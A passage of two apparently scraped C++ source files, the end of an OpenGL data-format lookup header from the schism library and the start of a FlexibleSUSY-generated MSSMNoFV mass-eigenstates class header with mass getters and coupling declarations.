floating point formats\n        GL_R16F,        // FORMAT_R_16F,\n        GL_RG16F,       // FORMAT_RG_16F,\n        GL_RGB16F,      // FORMAT_RGB_16F,\n        GL_RGBA16F,     // FORMAT_RGBA_16F,\n\n        GL_R32F,        // FORMAT_R_32F,\n        GL_RG32F,       // FORMAT_RG_32F,\n        GL_RGB32F,      // FORMAT_RGB_32F,\n        GL_RGBA32F,     // FORMAT_RGBA_32F,\n\n        // special packed formats\n        GL_RGB9_E5,     // FORMAT_RGB9_E5,\n        GL_R11F_G11F_B10F,// FORMAT_R11B11G10F,\n\n        // compressed formats\n        GL_COMPRESSED_RGBA_S3TC_DXT1_EXT,           //FORMAT_BC1_RGBA,        // DXT1\n        GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT1_EXT,     //FORMAT_BC1_SRGBA,       // DXT1\n        GL_COMPRESSED_RGBA_S3TC_DXT3_EXT,           //FORMAT_BC2_RGBA,        // DXT3\n        GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT3_EXT,     //FORMAT_BC2_SRGBA,       // DXT3\n        GL_COMPRESSED_RGBA_S3TC_DXT5_EXT,           //FORMAT_BC3_RGBA,        // DXT5\n        GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT5_EXT,     //FORMAT_BC3_SRGBA,       // DXT5\n        GL_COMPRESSED_RED_RGTC1,                    //FORMAT_BC4_R,           // RGTC1\n        GL_COMPRESSED_SIGNED_RED_RGTC1,             //FORMAT_BC4_R_S,         // RGTC1\n        GL_COMPRESSED_RG_RGTC2,                     //FORMAT_BC5_RG,          // RGTC2\n        GL_COMPRESSED_SIGNED_RG_RGTC2,              //FORMAT_BC5_RG_S,        // RGTC2\n        GL_COMPRESSED_RGB_BPTC_SIGNED_FLOAT_ARB,    //FORMAT_BC6H_RGB_F,      // BPTC\n        GL_COMPRESSED_RGB_BPTC_UNSIGNED_FLOAT_ARB,  //FORMAT_BC6H_RGB_UF,     // BPTC\n        GL_COMPRESSED_RGBA_BPTC_UNORM_ARB,          //FORMAT_BC7_RGBA,        // BPTC\n        GL_COMPRESSED_SRGB_ALPHA_BPTC_UNORM_ARB,    //FORMAT_BC8_SRGBA,       // BPTC\n\n        // depth stencil formats\n        GL_DEPTH_COMPONENT16, // FORMAT_D16,\n        GL_DEPTH_COMPONENT24, // FORMAT_D24,\n        GL_DEPTH_COMPONENT32, // FORMAT_D32,\n        GL_DEPTH_COMPONENT32F, // FORMAT_D32F,\n        GL_DEPTH24_STENCIL8, // FORMAT_D24_S8,\n        GL_DEPTH32F_STENCIL8 // FORMAT_D32F_S8,\n    };\n\n    BOOST_STATIC_ASSERT((sizeof(gl_int_fmts) / sizeof(unsigned)) == FORMAT_COUNT);\n\n    assert(FORMAT_NULL <= d && d < FORMAT_COUNT);\n\n    return gl_int_fmts[d];\n}\n\ninline\nunsigned\ngl_base_format(const data_format d)\n{\n    static unsigned gl_int_bfmts[] = {\n        GL_NONE,        // FORMAT_NULL                 = 0x00u,\n\n        // normalized integer formats (NORM)\n        GL_RED,         // FORMAT_R_8,\n        GL_RG,          // FORMAT_RG_8,\n        GL_RGB,         // FORMAT_RGB_8,\n        GL_RGBA,        // FORMAT_RGBA_8,\n\n        GL_RED,         // FORMAT_R_16,\n        GL_RG,          // FORMAT_RG_16,\n        GL_RGB,         // FORMAT_RGB_16,\n        GL_RGBA,        // FORMAT_RGBA_16,\n\n        GL_RED,         // FORMAT_R_8S,\n        GL_RG,          // FORMAT_RG_8S,\n        GL_RGB,         // FORMAT_RGB_8S,\n        GL_RGBA,        // FORMAT_RGBA_8S,\n\n        GL_RED,         // FORMAT_R_16S,\n        GL_RG,          // FORMAT_RG_16S,\n        GL_RGB,         // FORMAT_RGB_16S,\n        GL_RGBA,        // FORMAT_RGBA_16S,\n\n        // swizzled integer formats\n        GL_BGR,         // FORMAT_BGR_8,\n        GL_BGRA,        // FORMAT_BGRA_8,\n\n        // srgb integer formats\n        GL_RGB,         // FORMAT_SRGB_8,\n        GL_RGBA,        // FORMAT_SRGBA_8,\n\n        // unnormalized integer formats (UNORM)\n        GL_RED_INTEGER, // FORMAT_R_8I,\n        GL_RG_INTEGER,  // FORMAT_RG_8I,\n        GL_RGB_INTEGER, // FORMAT_RGB_8I,\n        GL_RGBA_INTEGER,// FORMAT_RGBA_8I,\n\n        GL_RED_INTEGER, // FORMAT_R_16I,\n        GL_RG_INTEGER,  // FORMAT_RG_16I,\n        GL_RGB_INTEGER, // FORMAT_RGB_16I,\n        GL_RGBA_INTEGER,// FORMAT_RGBA_16I,\n\n        GL_RED_INTEGER, // FORMAT_R_32I,\n        GL_RG_INTEGER,  // FORMAT_RG_32I,\n        GL_RGB_INTEGER, // FORMAT_RGB_32I,\n        GL_RGBA_INTEGER,// FORMAT_RGBA_32I,\n\n        GL_RED_INTEGER, // FORMAT_R_8UI,\n        GL_RG_INTEGER,  // FORMAT_RG_8UI,\n        GL_RGB_INTEGER, // FORMAT_RGB_8UI,\n        GL_RGBA_INTEGER,// FORMAT_RGBA_8UI,\n\n        GL_RED_INTEGER, // FORMAT_R_16UI,\n        GL_RG_INTEGER,  // FORMAT_RG_16UI,\n        GL_RGB_INTEGER, // FORMAT_RGB_16UI,\n        GL_RGBA_INTEGER,// FORMAT_RGBA_16UI,\n\n        GL_RED_INTEGER, // FORMAT_R_32UI,\n        GL_RG_INTEGER,  // FORMAT_RG_32UI,\n        GL_RGB_INTEGER, // FORMAT_RGB_32UI,\n        GL_RGBA_INTEGER,// FORMAT_RGBA_32UI,\n\n        // floating point formats\n        GL_RED,         // FORMAT_R_16F,\n        GL_RG,          // FORMAT_RG_16F,\n        GL_RGB,         // FORMAT_RGB_16F,\n        GL_RGBA,        // FORMAT_RGBA_16F,\n\n        GL_RED,         // FORMAT_R_32F,\n        GL_RG,          // FORMAT_RG_32F,\n        GL_RGB,         // FORMAT_RGB_32F,\n        GL_RGBA,        // FORMAT_RGBA_32F,\n\n        // special packed formats\n        GL_RGB,         // FORMAT_RGB9_E5,\n        GL_RGB,         // FORMAT_R11B11G10F,\n\n        // compressed formats\n        GL_RGBA,        //FORMAT_BC1_RGBA,        // DXT1\n        GL_RGBA,        //FORMAT_BC1_SRGBA,       // DXT1\n        GL_RGBA,        //FORMAT_BC2_RGBA,        // DXT3\n        GL_RGBA,        //FORMAT_BC2_SRGBA,       // DXT3\n        GL_RGBA,        //FORMAT_BC3_RGBA,        // DXT5\n        GL_RGBA,        //FORMAT_BC3_SRGBA,       // DXT5\n        GL_RED,         //FORMAT_BC4_R,           // RGTC1\n        GL_RED,         //FORMAT_BC4_R_S,         // RGTC1\n        GL_RG,          //FORMAT_BC5_RG,          // RGTC2\n        GL_RG,          //FORMAT_BC5_RG_S,        // RGTC2\n        GL_RGB,         //FORMAT_BC6H_RGB_F,      // BPTC\n        GL_RGB,         //FORMAT_BC6H_RGB_UF,     // BPTC\n        GL_RGBA,        //FORMAT_BC7_RGBA,        // BPTC\n        GL_RGBA,        //FORMAT_BC7_SRGBA,       // BPTC\n\n        // depth stencil formats\n        GL_DEPTH_COMPONENT, // FORMAT_D16,\n        GL_DEPTH_COMPONENT, // FORMAT_D24,\n        GL_DEPTH_COMPONENT, // FORMAT_D32,\n        GL_DEPTH_COMPONENT, // FORMAT_D32F,\n        GL_DEPTH_STENCIL, // FORMAT_D24_S8,\n        GL_DEPTH_STENCIL // FORMAT_D32F_S8,\n    };\n\n    BOOST_STATIC_ASSERT((sizeof(gl_int_bfmts) / sizeof(unsigned)) == FORMAT_COUNT);\n\n    assert(FORMAT_NULL <= d && d < FORMAT_COUNT);\n\n    return gl_int_bfmts[d];\n}\n\ninline\nunsigned\ngl_base_type(const data_format d)\n{\n    static unsigned gl_btypes[] = {\n        GL_NONE,        // FORMAT_NULL                 = 0x00u,\n\n        // normalized integer formats (NORM)\n        GL_UNSIGNED_BYTE,          // FORMAT_R_8,\n        GL_UNSIGNED_BYTE,         // FORMAT_RG_8,\n        GL_UNSIGNED_BYTE,        // FORMAT_RGB_8,\n        GL_UNSIGNED_BYTE,       // FORMAT_RGBA_8,\n\n        GL_UNSIGNED_SHORT,         // FORMAT_R_16,\n        GL_UNSIGNED_SHORT,        // FORMAT_RG_16,\n        GL_UNSIGNED_SHORT,       // FORMAT_RGB_16,\n        GL_UNSIGNED_SHORT,      // FORMAT_RGBA_16,\n\n        GL_BYTE,    // FORMAT_R_8S,\n        GL_BYTE,   // FORMAT_RG_8S,\n        GL_BYTE,  // FORMAT_RGB_8S,\n        GL_BYTE, // FORMAT_RGBA_8S,\n\n        GL_SHORT,   // FORMAT_R_16S,\n        GL_SHORT,  // FORMAT_RG_16S,\n        GL_SHORT, // FORMAT_RGB_16S,\n        GL_SHORT,// FORMAT_RGBA_16S,\n\n        // swizzled integer formats\n        GL_UNSIGNED_BYTE,        // FORMAT_BGR_8,\n        GL_UNSIGNED_INT_8_8_8_8_REV,       // FORMAT_BGRA_8,\n\n        // srgb integer formats\n        GL_UNSIGNED_BYTE,       // FORMAT_SRGB_8,\n        GL_UNSIGNED_BYTE,// FORMAT_SRGBA_8,\n\n        // unnormalized integer formats (UNORM)\n        GL_BYTE,         // FORMAT_R_8I,\n        GL_BYTE,        // FORMAT_RG_8I,\n        GL_BYTE,       // FORMAT_RGB_8I,\n        GL_BYTE,      // FORMAT_RGBA_8I,\n\n        GL_SHORT,        // FORMAT_R_16I,\n        GL_SHORT,       // FORMAT_RG_16I,\n        GL_SHORT,      // FORMAT_RGB_16I,\n        GL_SHORT,     // FORMAT_RGBA_16I,\n\n        GL_INT,        // FORMAT_R_32I,\n        GL_INT,       // FORMAT_RG_32I,\n        GL_INT,      // FORMAT_RGB_32I,\n        GL_INT,     // FORMAT_RGBA_32I,\n\n        GL_UNSIGNED_BYTE,        // FORMAT_R_8UI,\n        GL_UNSIGNED_BYTE,       // FORMAT_RG_8UI,\n        GL_UNSIGNED_BYTE,      // FORMAT_RGB_8UI,\n        GL_UNSIGNED_BYTE,     // FORMAT_RGBA_8UI,\n\n        GL_UNSIGNED_SHORT,       // FORMAT_R_16UI,\n        GL_UNSIGNED_SHORT,      // FORMAT_RG_16UI,\n        GL_UNSIGNED_SHORT,     // FORMAT_RGB_16UI,\n        GL_UNSIGNED_SHORT,    // FORMAT_RGBA_16UI,\n\n        GL_UNSIGNED_INT,       // FORMAT_R_32UI,\n        GL_UNSIGNED_INT,      // FORMAT_RG_32UI,\n        GL_UNSIGNED_INT,     // FORMAT_RGB_32UI,\n        GL_UNSIGNED_INT,    // FORMAT_RGBA_32UI,\n\n        // floating point formats\n        GL_HALF_FLOAT,        // FORMAT_R_16F,\n        GL_HALF_FLOAT,       // FORMAT_RG_16F,\n        GL_HALF_FLOAT,      // FORMAT_RGB_16F,\n        GL_HALF_FLOAT,     // FORMAT_RGBA_16F,\n\n        GL_FLOAT,        // FORMAT_R_32F,\n        GL_FLOAT,       // FORMAT_RG_32F,\n        GL_FLOAT,      // FORMAT_RGB_32F,\n        GL_FLOAT,     // FORMAT_RGBA_32F,\n\n        // special packed formats\n        GL_FLOAT,     // FORMAT_RGB9_E5,\n        GL_FLOAT,// FORMAT_R11B11G10F,\n\n        // compressed formats\n        GL_UNSIGNED_BYTE,   //FORMAT_BC1_RGBA,        // DXT1\n        GL_UNSIGNED_BYTE,   //FORMAT_BC1_SRGBA,       // DXT1\n        GL_UNSIGNED_BYTE,   //FORMAT_BC2_RGBA,        // DXT3\n        GL_UNSIGNED_BYTE,   //FORMAT_BC2_SRGBA,       // DXT3\n        GL_UNSIGNED_BYTE,   //FORMAT_BC3_RGBA,        // DXT5\n        GL_UNSIGNED_BYTE,   //FORMAT_BC3_SRGBA,       // DXT5\n        GL_UNSIGNED_BYTE,   //FORMAT_BC4_R,           // RGTC1\n        GL_UNSIGNED_BYTE,   //FORMAT_BC4_R_S,         // RGTC1\n        GL_UNSIGNED_BYTE,   //FORMAT_BC5_RG,          // RGTC2\n        GL_UNSIGNED_BYTE,   //FORMAT_BC5_RG_S,        // RGTC2\n        GL_FLOAT,           // FORMAT_BC6H_RGB_F,      // BPTC\n        GL_FLOAT,           // FORMAT_BC6H_RGB_UF,     // BPTC\n        GL_UNSIGNED_BYTE,   //FORMAT_BC7_RGBA,        // BPTC\n        GL_UNSIGNED_BYTE,   //FORMAT_BC7_SRGBA,       // BPTC\n\n        // depth stencil formats\n        GL_UNSIGNED_SHORT, // FORMAT_D16,\n        GL_UNSIGNED_INT, // FORMAT_D24,\n        GL_UNSIGNED_INT, // FORMAT_D32,\n        GL_FLOAT, // FORMAT_D32F,\n        GL_UNSIGNED_INT_24_8, // FORMAT_D24_S8,\n        GL_FLOAT_32_UNSIGNED_INT_24_8_REV// FORMAT_D32F_S8,\n    };\n\n    BOOST_STATIC_ASSERT((sizeof(gl_btypes) / sizeof(unsigned)) == FORMAT_COUNT);\n\n    assert(FORMAT_NULL <= d && d < FORMAT_COUNT);\n\n    return gl_btypes[d];\n}\n\n} // namespace util\n} // namespace gl\n} // namespace scm\n", "meta": {"hexsha": "0d91bfe2321f354e0d3813d1b7ea2d45bbe02cb4", "size": 12962, "ext": "inl", "lang": "C++", "max_stars_repo_path": "scm_gl_core/src/scm/gl_core/render_device/opengl/util/data_format_helper.inl", "max_stars_repo_name": "Nyran/schism", "max_stars_repo_head_hexsha": "c2cdb8884e3e6714a3b291f0f754220b7f5cbc7b", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 10.0, "max_stars_repo_stars_event_min_datetime": "2015-09-17T06:01:03.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-23T07:10:20.000Z", "max_issues_repo_path": "scm_gl_core/src/scm/gl_core/render_device/opengl/util/data_format_helper.inl", "max_issues_repo_name": "Nyran/schism", "max_issues_repo_head_hexsha": "c2cdb8884e3e6714a3b291f0f754220b7f5cbc7b", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 5.0, "max_issues_repo_issues_event_min_datetime": "2015-01-06T14:11:32.000Z", "max_issues_repo_issues_event_max_datetime": "2016-12-12T10:26:53.000Z", "max_forks_repo_path": "scm_gl_core/src/scm/gl_core/render_device/opengl/util/data_format_helper.inl", "max_forks_repo_name": "Nyran/schism", "max_forks_repo_head_hexsha": "c2cdb8884e3e6714a3b291f0f754220b7f5cbc7b", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 15.0, "max_forks_repo_forks_event_min_datetime": "2015-01-29T20:56:13.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-02T19:03:20.000Z", "avg_line_length": 36.0055555556, "max_line_length": 86, "alphanum_fraction": 0.5656534485, "num_tokens": 3653, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.546738151984614, "lm_q2_score": 0.2720245569956929, "lm_q1q2_score": 0.14872620358625843}}
{"text": "// ====================================================================\n// This file is part of FlexibleSUSY.\n//\n// FlexibleSUSY is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published\n// by the Free Software Foundation, either version 3 of the License,\n// or (at your option) any later version.\n//\n// FlexibleSUSY is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with FlexibleSUSY.  If not, see\n// <http://www.gnu.org/licenses/>.\n// ====================================================================\n\n// File generated at Thu 10 May 2018 14:59:59\n\n/**\n * @file MSSMNoFV_mass_eigenstates.hpp\n *\n * @brief contains class for model with routines needed to solve boundary\n *        value problem using the two_scale solver by solving EWSB\n *        and determine the pole masses and mixings\n *\n * This file was generated at Thu 10 May 2018 14:59:59 with FlexibleSUSY\n * 2.0.1 (git commit: unknown) and SARAH 4.12.2 .\n */\n\n#ifndef MSSMNoFV_MASS_EIGENSTATES_H\n#define MSSMNoFV_MASS_EIGENSTATES_H\n\n#include \"MSSMNoFV_info.hpp\"\n#include \"MSSMNoFV_physical.hpp\"\n#include \"MSSMNoFV_soft_parameters.hpp\"\n#include \"loop_corrections.hpp\"\n#include \"threshold_corrections.hpp\"\n#include \"error.hpp\"\n#include \"problems.hpp\"\n#include \"config.h\"\n\n#include <iosfwd>\n#include <memory>\n#include <string>\n\n#include <Eigen/Core>\n\nnamespace flexiblesusy {\n\nclass MSSMNoFV_ewsb_solver_interface;\n/**\n * @class MSSMNoFV_mass_eigenstates\n * @brief model class with routines for determing masses and mixinga and EWSB\n */\nclass MSSMNoFV_mass_eigenstates : public MSSMNoFV_soft_parameters {\npublic:\n   explicit MSSMNoFV_mass_eigenstates(const MSSMNoFV_input_parameters& input_ = MSSMNoFV_input_parameters());\n   MSSMNoFV_mass_eigenstates(const MSSMNoFV_mass_eigenstates&) = default;\n   MSSMNoFV_mass_eigenstates(MSSMNoFV_mass_eigenstates&&) = default;\n   virtual ~MSSMNoFV_mass_eigenstates() = default;\n   MSSMNoFV_mass_eigenstates& operator=(const MSSMNoFV_mass_eigenstates&) = default;\n   MSSMNoFV_mass_eigenstates& operator=(MSSMNoFV_mass_eigenstates&&) = default;\n\n   /// number of EWSB equations\n   static const int number_of_ewsb_equations = 2;\n\n   void calculate_DRbar_masses();\n   void calculate_pole_masses();\n   void check_pole_masses_for_tachyons();\n   virtual void clear() override;\n   void clear_DRbar_parameters();\n   Eigen::ArrayXd get_DRbar_masses() const;\n   Eigen::ArrayXd get_DRbar_masses_and_mixings() const;\n   Eigen::ArrayXd get_extra_parameters() const;\n   void do_calculate_sm_pole_masses(bool);\n   bool do_calculate_sm_pole_masses() const;\n   void do_calculate_bsm_pole_masses(bool);\n   bool do_calculate_bsm_pole_masses() const;\n   void do_force_output(bool);\n   bool do_force_output() const;\n   void reorder_DRbar_masses();\n   void reorder_pole_masses();\n   void set_ewsb_iteration_precision(double);\n   void set_ewsb_loop_order(int);\n   void set_loop_corrections(const Loop_corrections&);\n   const Loop_corrections& get_loop_corrections() const;\n   void set_threshold_corrections(const Threshold_corrections&);\n   const Threshold_corrections& get_threshold_corrections() const;\n   void set_DRbar_masses(const Eigen::ArrayXd&);\n   void set_DRbar_masses_and_mixings(const Eigen::ArrayXd&);\n   void set_extra_parameters(const Eigen::ArrayXd&);\n   void set_pole_mass_loop_order(int);\n   int get_pole_mass_loop_order() const;\n   void set_physical(const MSSMNoFV_physical&);\n   double get_ewsb_iteration_precision() const;\n   double get_ewsb_loop_order() const;\n   const MSSMNoFV_physical& get_physical() const;\n   MSSMNoFV_physical& get_physical();\n   const Problems& get_problems() const;\n   Problems& get_problems();\n   void set_ewsb_solver(const std::shared_ptr<MSSMNoFV_ewsb_solver_interface>&);\n   int solve_ewsb_tree_level();\n   int solve_ewsb_one_loop();\n   int solve_ewsb();            ///< solve EWSB at ewsb_loop_order level\n\n   void calculate_spectrum();\n   void clear_problems();\n   std::string name() const;\n   void run_to(double scale, double eps = -1.0) override;\n   void print(std::ostream& out = std::cerr) const override;\n   void set_precision(double);\n   double get_precision() const;\n\n\n   double get_MVG() const { return MVG; }\n   double get_MGlu() const { return MGlu; }\n   double get_MFd() const { return MFd; }\n   double get_MFs() const { return MFs; }\n   double get_MFb() const { return MFb; }\n   double get_MFu() const { return MFu; }\n   double get_MFc() const { return MFc; }\n   double get_MFt() const { return MFt; }\n   double get_MFve() const { return MFve; }\n   double get_MFvm() const { return MFvm; }\n   double get_MFvt() const { return MFvt; }\n   double get_MFe() const { return MFe; }\n   double get_MFm() const { return MFm; }\n   double get_MFtau() const { return MFtau; }\n   double get_MSveL() const { return MSveL; }\n   double get_MSvmL() const { return MSvmL; }\n   double get_MSvtL() const { return MSvtL; }\n   const Eigen::Array<double,2,1>& get_MSd() const { return MSd; }\n   double get_MSd(int i) const { return MSd(i); }\n   const Eigen::Array<double,2,1>& get_MSu() const { return MSu; }\n   double get_MSu(int i) const { return MSu(i); }\n   const Eigen::Array<double,2,1>& get_MSe() const { return MSe; }\n   double get_MSe(int i) const { return MSe(i); }\n   const Eigen::Array<double,2,1>& get_MSm() const { return MSm; }\n   double get_MSm(int i) const { return MSm(i); }\n   const Eigen::Array<double,2,1>& get_MStau() const { return MStau; }\n   double get_MStau(int i) const { return MStau(i); }\n   const Eigen::Array<double,2,1>& get_MSs() const { return MSs; }\n   double get_MSs(int i) const { return MSs(i); }\n   const Eigen::Array<double,2,1>& get_MSc() const { return MSc; }\n   double get_MSc(int i) const { return MSc(i); }\n   const Eigen::Array<double,2,1>& get_MSb() const { return MSb; }\n   double get_MSb(int i) const { return MSb(i); }\n   const Eigen::Array<double,2,1>& get_MSt() const { return MSt; }\n   double get_MSt(int i) const { return MSt(i); }\n   const Eigen::Array<double,2,1>& get_Mhh() const { return Mhh; }\n   double get_Mhh(int i) const { return Mhh(i); }\n   const Eigen::Array<double,2,1>& get_MAh() const { return MAh; }\n   double get_MAh(int i) const { return MAh(i); }\n   const Eigen::Array<double,2,1>& get_MHpm() const { return MHpm; }\n   double get_MHpm(int i) const { return MHpm(i); }\n   const Eigen::Array<double,4,1>& get_MChi() const { return MChi; }\n   double get_MChi(int i) const { return MChi(i); }\n   const Eigen::Array<double,2,1>& get_MCha() const { return MCha; }\n   double get_MCha(int i) const { return MCha(i); }\n   double get_MVWm() const { return MVWm; }\n   double get_MVP() const { return MVP; }\n   double get_MVZ() const { return MVZ; }\n\n   \n   Eigen::Array<double,1,1> get_MChargedHiggs() const;\n\n   Eigen::Array<double,1,1> get_MPseudoscalarHiggs() const;\n\n   const Eigen::Matrix<double,2,2>& get_ZD() const { return ZD; }\n   double get_ZD(int i, int k) const { return ZD(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZU() const { return ZU; }\n   double get_ZU(int i, int k) const { return ZU(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZE() const { return ZE; }\n   double get_ZE(int i, int k) const { return ZE(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZM() const { return ZM; }\n   double get_ZM(int i, int k) const { return ZM(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZTau() const { return ZTau; }\n   double get_ZTau(int i, int k) const { return ZTau(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZS() const { return ZS; }\n   double get_ZS(int i, int k) const { return ZS(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZC() const { return ZC; }\n   double get_ZC(int i, int k) const { return ZC(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZB() const { return ZB; }\n   double get_ZB(int i, int k) const { return ZB(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZT() const { return ZT; }\n   double get_ZT(int i, int k) const { return ZT(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZH() const { return ZH; }\n   double get_ZH(int i, int k) const { return ZH(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZA() const { return ZA; }\n   double get_ZA(int i, int k) const { return ZA(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZP() const { return ZP; }\n   double get_ZP(int i, int k) const { return ZP(i,k); }\n   const Eigen::Matrix<std::complex<double>,4,4>& get_ZN() const { return ZN; }\n   std::complex<double> get_ZN(int i, int k) const { return ZN(i,k); }\n   const Eigen::Matrix<std::complex<double>,2,2>& get_UM() const { return UM; }\n   std::complex<double> get_UM(int i, int k) const { return UM(i,k); }\n   const Eigen::Matrix<std::complex<double>,2,2>& get_UP() const { return UP; }\n   std::complex<double> get_UP(int i, int k) const { return UP(i,k); }\n   const Eigen::Matrix<double,2,2>& get_ZZ() const { return ZZ; }\n   double get_ZZ(int i, int k) const { return ZZ(i,k); }\n\n   void set_PhaseGlu(std::complex<double> PhaseGlu_) { PhaseGlu = PhaseGlu_; }\n   std::complex<double> get_PhaseGlu() const { return PhaseGlu; }\n\n\n\n   double get_mass_matrix_VG() const;\n   void calculate_MVG();\n   double get_mass_matrix_Glu() const;\n   void calculate_MGlu();\n   double get_mass_matrix_Fd() const;\n   void calculate_MFd();\n   double get_mass_matrix_Fs() const;\n   void calculate_MFs();\n   double get_mass_matrix_Fb() const;\n   void calculate_MFb();\n   double get_mass_matrix_Fu() const;\n   void calculate_MFu();\n   double get_mass_matrix_Fc() const;\n   void calculate_MFc();\n   double get_mass_matrix_Ft() const;\n   void calculate_MFt();\n   double get_mass_matrix_Fve() const;\n   void calculate_MFve();\n   double get_mass_matrix_Fvm() const;\n   void calculate_MFvm();\n   double get_mass_matrix_Fvt() const;\n   void calculate_MFvt();\n   double get_mass_matrix_Fe() const;\n   void calculate_MFe();\n   double get_mass_matrix_Fm() const;\n   void calculate_MFm();\n   double get_mass_matrix_Ftau() const;\n   void calculate_MFtau();\n   double get_mass_matrix_SveL() const;\n   void calculate_MSveL();\n   double get_mass_matrix_SvmL() const;\n   void calculate_MSvmL();\n   double get_mass_matrix_SvtL() const;\n   void calculate_MSvtL();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Sd() const;\n   void calculate_MSd();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Su() const;\n   void calculate_MSu();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Se() const;\n   void calculate_MSe();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Sm() const;\n   void calculate_MSm();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Stau() const;\n   void calculate_MStau();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Ss() const;\n   void calculate_MSs();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Sc() const;\n   void calculate_MSc();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Sb() const;\n   void calculate_MSb();\n   Eigen::Matrix<double,2,2> get_mass_matrix_St() const;\n   void calculate_MSt();\n   Eigen::Matrix<double,2,2> get_mass_matrix_hh() const;\n   void calculate_Mhh();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Ah() const;\n   void calculate_MAh();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Hpm() const;\n   void calculate_MHpm();\n   Eigen::Matrix<double,4,4> get_mass_matrix_Chi() const;\n   void calculate_MChi();\n   Eigen::Matrix<double,2,2> get_mass_matrix_Cha() const;\n   void calculate_MCha();\n   double get_mass_matrix_VWm() const;\n   void calculate_MVWm();\n   Eigen::Matrix<double,2,2> get_mass_matrix_VPVZ() const;\n   void calculate_MVPVZ();\n\n   double get_ewsb_eq_hh_1() const;\n   double get_ewsb_eq_hh_2() const;\n\n   std::complex<double> CpSveLUSdconjSveLconjUSd(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUSdconjSvmLconjUSd(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUSdconjSvtLconjUSd(int gO1, int gO2) const;\n   std::complex<double> CpUSdconjUSdVZVZ(int gO1, int gO2) const;\n   double CpUSdconjUSdconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUSdconjUSd(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUSdconjUSd(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUSdconjHpmconjUSd(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpUSdconjUSdconjSbSb(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSdconjUSdconjScSc(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSdconjUSdconjSdSd(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSdconjUSdconjSsSs(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSdconjUSdconjStSt(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSdconjUSdconjSuSu(int gO1, int gO2, int gI1, int gI2) const;\n   std::complex<double> CpUSdSeconjUSdconjSe(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSdSmconjUSdconjSm(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpUSdStauconjUSdconjStau(int gO1, int gI1, int gO2, int gI2) const;\n   std::complex<double> CpAhSdconjUSd(int gI2, int gI1, int gO2) const;\n   std::complex<double> CphhSdconjUSd(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpHpmSuconjUSd(int gI2, int gI1, int gO2) const;\n   std::complex<double> CpSdconjUSdVG(int gI2, int gO2) const;\n   std::complex<double> CpSdconjUSdVP(int gI2, int gO2) const;\n   std::complex<double> CpSdconjUSdVZ(int gI2, int gO2) const;\n   std::complex<double> CpSuconjUSdVWm(int gI2, int gO2) const;\n   std::complex<double> CpFuChaconjUSdPR(int gI2, int gO2) const;\n   std::complex<double> CpFuChaconjUSdPL(int gI2, int gO1) const;\n   std::complex<double> CpChiFdconjUSdPR(int gI2, int gO2) const;\n   std::complex<double> CpChiFdconjUSdPL(int gI2, int gO1) const;\n   std::complex<double> CpGluFdconjUSdPR(int gO2) const;\n   std::complex<double> CpGluFdconjUSdPL(int gO1) const;\n   std::complex<double> CpSveLUSuconjSveLconjUSu(int gO1, int gO2) const;\n   std::complex<double> CpSvmLUSuconjSvmLconjUSu(int gO1, int gO2) const;\n   std::complex<double> CpSvtLUSuconjSvtLconjUSu(int gO1, int gO2) const;\n   std::complex<double> CpUSuconjUSuVZVZ(int gO1, int gO2) const;\n   double CpUSuconjUSuconjVWmVWm(int gO1, int gO2) const;\n   std::complex<double> CpAhAhUSuconjUSu(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CphhhhUSuconjUSu(int gI1, int gI2, int gO1, int gO2) const;\n   std::complex<double> CpHpmUSuconjHpmconjUSu(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSeUSuconjSeconjUSu(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> CpSmUSuconjSmconjUSu(int gI1, int gO1, int gI2, int gO2) const;\n   std::complex<double> 